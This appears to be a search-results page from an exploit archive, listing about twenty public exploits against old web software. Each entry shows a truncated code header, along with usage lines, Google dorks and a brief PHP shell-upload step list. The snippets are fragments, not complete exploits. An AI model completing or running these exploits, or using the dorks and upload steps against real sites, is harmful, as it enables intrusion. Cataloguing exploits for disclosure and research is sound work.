11995 matches found
ITA Forum <= 1.49 SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: example: r57ita.pl http://127.0.0.1/ITA...
Oracle Automated Service Manager 1.3 Installation Local Privilege Escalation
No description provided by source. Oracle Automated Service Manager 1.3 local root during install Larry W. Cashdollar 1/29/2013 @larry0 SUNWsasm-1.3.1-20110815093723 https://updates.oracle.com/Orion/Services/download?type=readme&aru=15864534 From the README: Oracle Automated Service Manager 1.3.1...
Mambo <= 4.5.2 Globals Overwrite / Remote Command Exection Exploit
No description provided by source. ?php ---mambo452xpl.php 15.19 17/11/2005 Mambo = 4.5.2 Globals overwrite / remote commands execution coded by rgod site: http://rgod.altervista.org usage: launch from Apache, fill in requested fields, then go! Sun-Tzu: Rapidity is the essence of war: take...
PHP Support Tickets 2.2 - Remote File Upload Vulnerability
No description provided by source. remote file upload script: PHPSupportTicketsv2.2 download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHPSupportTicketsv2.2.zip 1:www.site.com/path/index.php?page=register 2:New Ticket 3:upload php file shell...
PCPIN Chat <= 5.0.4 (login/language) Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo PCPIN Chat = 5.0.4 \login/language\ remote cmmnds xctn\r\n; echo by rgod [email protected]\r\n; echo site: http://retrogod.altervista.org\r\n\r\n; echo - works with magicquotesgpc = Off\r\n; echo dork: \powered by...
PHP-Stats <= 0.1.9.1 - Remote Commands Execution Exploit
No description provided by source. ?php ---phpstats0191xpl.php 04/03/2006 4.53.41 PHP-Stats = 0.1.9.1 optionadminpass overwrite / / remote commands execution exploit coded by rgod site: http://retrogod.altervista.org - works regardless of magicquotesgpc settings... usage: launch from Apache, fill...
LightBlog 8.4.1.1 - Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo LightBlog 8.4.1.1 Remote Code Execution Exploit by BlackHawk [email protected] http://itablackhawk.altervista.org Thanks to rgod for the php code and Marty for the Love ; if $argc3 echo Usage: php .$argv0. Host Path...
Soritong 1.0 - Universal BOF (Python)
No description provided by source. Soritong MP3 Player 1.0 Universal BOF ! Greetz to Peter Van Eeckhoutte and Corelanc0d3r team ;- Discovered by : Stack Written by : Jacky I searched for a Python Edition for this Vulnerability but i haven't found any Python written exploit So i decided to give it...
PHP Webquest <= 2.5 (id_actividad) Remote SQL Injection Exploit
No description provided by source. / script name : phpwebquest script version : 2.5 script website : http://phpwebquest.org Bug Finder : D4realTeaM 'unkn0wnX','n3t-mapper','ToxiC350'; injected file : webquest/soportederechaw.php Variable : idactividad Contact : n3t-mapp3r At hotmail dot com,is14m...
LoudBlog <= 0.8.0a (ajax.php) SQL Injection Vulnerability (auth)
No description provided by source. !/usr/bin/perl This Exploit requires a valid user name and password of an account regardless of the permissions Author: Xianur0 Affected: All Versions Bug: SQL Injection Doorks: allintext: powered by LoudBlog use HTTP::Request::Common qwPOST; use LWP::UserAgent;...
OTSCMS <= 2.1.3 - Multiple Remote File Include Vulnerabilities
No description provided by source. Coding 4 Fun c4f.pl OTSCMS = 2.1.3 by Wrzasq www.otscms.com ; Class = Remote File Inclusion ; Download = http://sourceforge.net/project/showfiles.php?groupid=145557 ; Found by = GregStar gregstaratc4fdotpl ;...
SMA-DB <= 0.3.9 (settings.php) Remote File Inclusion Vulnerability
No description provided by source. To ConTacT mE:wWw.Asb-May.net/bb ScRiPt:-http://people.ee.ethz.ch/dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP Settings.php:- includeonce$pfadz.scripts/session.php;...
Rigter Portal System (RPS) 6.2 - Remote Blind SQL Injection Exploit
No description provided by source. ? //RPS 6.2 SQL Injection Exploit //http://www.rps-project.com/ //Need magicquotesgpc = Off; //by s0cratex //Contact: s0cratexathotmaildotcom //Salu2: rgod, 0pt1x 'n mechas. errorreporting0; inisetmaxexecutiontime,0; inisetdefaultsockettimeout,5; $host =...
osCommerce <= 2.2 (extras) Source Code Disclosure Vulnerability
No description provided by source. ---- osCommerce = 2.2 extras/ information/source code disclosure ------------ software site: http://www.oscommerce.com/ if extras/ folder is placed inside the www path, you can see all files on target system, including php source code with database details, poc:...
KISGB <= (tmp_theme) 5.1.1 - Local File Inclusion Vulnerability
No description provided by source. !/usr/bin/env python -- coding:utf-8 -- from pocsuite.net import req from pocsuite.poc import Output, POCBase from pocsuite.utils import register class TestPOCPOCBase: vulID = '65284' version = '1' vulDate = '1206806400' createDate = '1442937600' references =...
vBulletin vbBux/vbPlaza <= 2.x (vbplaza.php) Blind SQL Injection Vuln
No description provided by source. --==+======================================================================================================================+==-- --==+ vBulletin vbBux/vbPlaza = 2.x vbplaza.php Remote Blind SQL Injection Vulnerability +==--...
MyBB Follower User Plugin - SQL Injection
No description provided by source. Exploit Title: Follower User MyBB plugin SQL Injection 0day Google Dork: intext:Users subscribed to inurl:member.php -site:fwcombie.us Date: 13.10.2012 Exploit Author: Zixem Software Link: http://mods.mybb.com/view/suscriber-user Version: 1.5+ Tested on: Linux...
AlberT-EasySite <= 1.0a5 (PSA_PATH) Remote File Include Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - AES: AlberT-EasySite = 1.0a5 Remote File Include Vulnerability + + + - Script name: AES: AlberT-EasySite v. 1.0a5 - Script site:...
PeerCast <= 0.1216 - Remote Buffer Overflow Exploit (win32) (meta)
No description provided by source. This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artisti...
ml2 - local users can crash processes
No description provided by source. include stdio.h include unistd.h include stdlib.h include syslog.h error int mainint argc, char argv char foo1000; char bigmsg10000; char s, holds; int i = 0; memsetbigmsg, 'X', sizeofbigmsg-1; if argc 2 printfusage: %s pid to kill\n, argv0; exit1; // fork;...